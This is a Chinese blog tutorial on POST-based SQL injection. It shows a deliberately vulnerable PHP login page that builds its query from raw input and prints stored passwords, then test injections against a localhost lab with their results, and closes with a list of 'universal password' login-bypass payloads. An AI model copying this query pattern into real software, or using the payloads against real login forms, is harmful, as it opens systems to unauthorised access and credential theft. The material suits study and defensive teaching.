• sql_injection之post注入


    1、代码篇

    </html>
    <center>
    <form action="#" method="post">
    姓名:<input type="text" name="user"><br>
    密码:<input type="text" name="pass"><br>
    <input type="submit" name="submit" value="提交">
    </center>
    </html>
    <?php
    /*************************
    author:Bloodero
    sql_injection_post
    *************************/
    
    include("../conn.php");
    error_reporting(0);
    if(isset($_POST['submit'])){
        if(!empty($_POST['user']) && !empty($_POST['pass'])){
            $user=$_POST['user'];
            $pass=$_POST['pass'];
            echo "你当前输入用户名:".$user."<br>";
            echo "你当前输入密码:".$pass."<br>";
            $sql="select * from user where username='$user' and password='$pass'";
            $res=mysql_query($sql);
            $row=mysql_fetch_array($res);
            if(empty($row)){
                echo "<script>alert('登陆失败')</script>";
            }
            else{
                echo "当前用户:<br>";
                echo "id:".$row['id']."<br>";
                echo "username:".$row['username']."<br>";
                echo "password:".$row['password']."<br>";
            }
        }
        else{
            echo "<script>alert('用户名/密码不能为空')</script>";
        }
    }
    else{
        exit();
    }
    ?>

    2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

    正确输入:

    你当前输入用户名:admin
    你当前输入密码:pass
    当前用户:
    id:1
    username:admin
    password:pass

    尝试注入:

    你当前输入用户名:1'
    你当前输入密码:1

    登陆失败
    你当前输入用户名:1' #
    你当前输入密码:1

    登陆失败
    你当前输入用户名:1' or 1=1#
    你当前输入密码:1
    当前用户:
    id:1
    username:admin
    password:pass

    登陆成功
    你当前输入用户名:1' or 1=2#
    你当前输入密码:1

    登陆失败

    这里我解释一下原理:

    当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

    当我们接or 1=1时,恒真,所以就会查询所有;

    你当前输入用户名:1' and 1=2 union select * from user#
    你当前输入密码:1
    当前用户:
    id:1
    username:admin
    password:pass

    这里的原理不懂的可以去看看第一发sql_injection;

    3、防注入

    对post过来的数据,进行处理;会有一篇进行详细讲解

    4、通过post注入,引生的万能密码

    "or "a"="a
    ')or('a'='a
    or 1=1--
    'or 1=1--
    a'or' 1=1--
    admin' or 'a'='a 密码随便
    'or 1=1/*
    User: something  Pass: ' or '1'='1
    1'or'1'='1
    admin' or 1=1/*
  • 相关阅读:
    【数学水题】【TOJ4113】【 Determine X】
    【(阶乘的质因数分解)算组合数】【TOJ4111】【Binomial efficient】
    【组合数取模进阶中..】
    【转载】【转自AekdyCoin的组合数取模】
    37.es中批量写入数据
    36.爬取柯林斯字字典
    34.django使用jwt
    33.python中的单例模式
    32.爬虫2
    31.爬虫一
  • 原文地址:https://www.cnblogs.com/BloodZero/p/4425105.html
Copyright © 2020-2023  润新知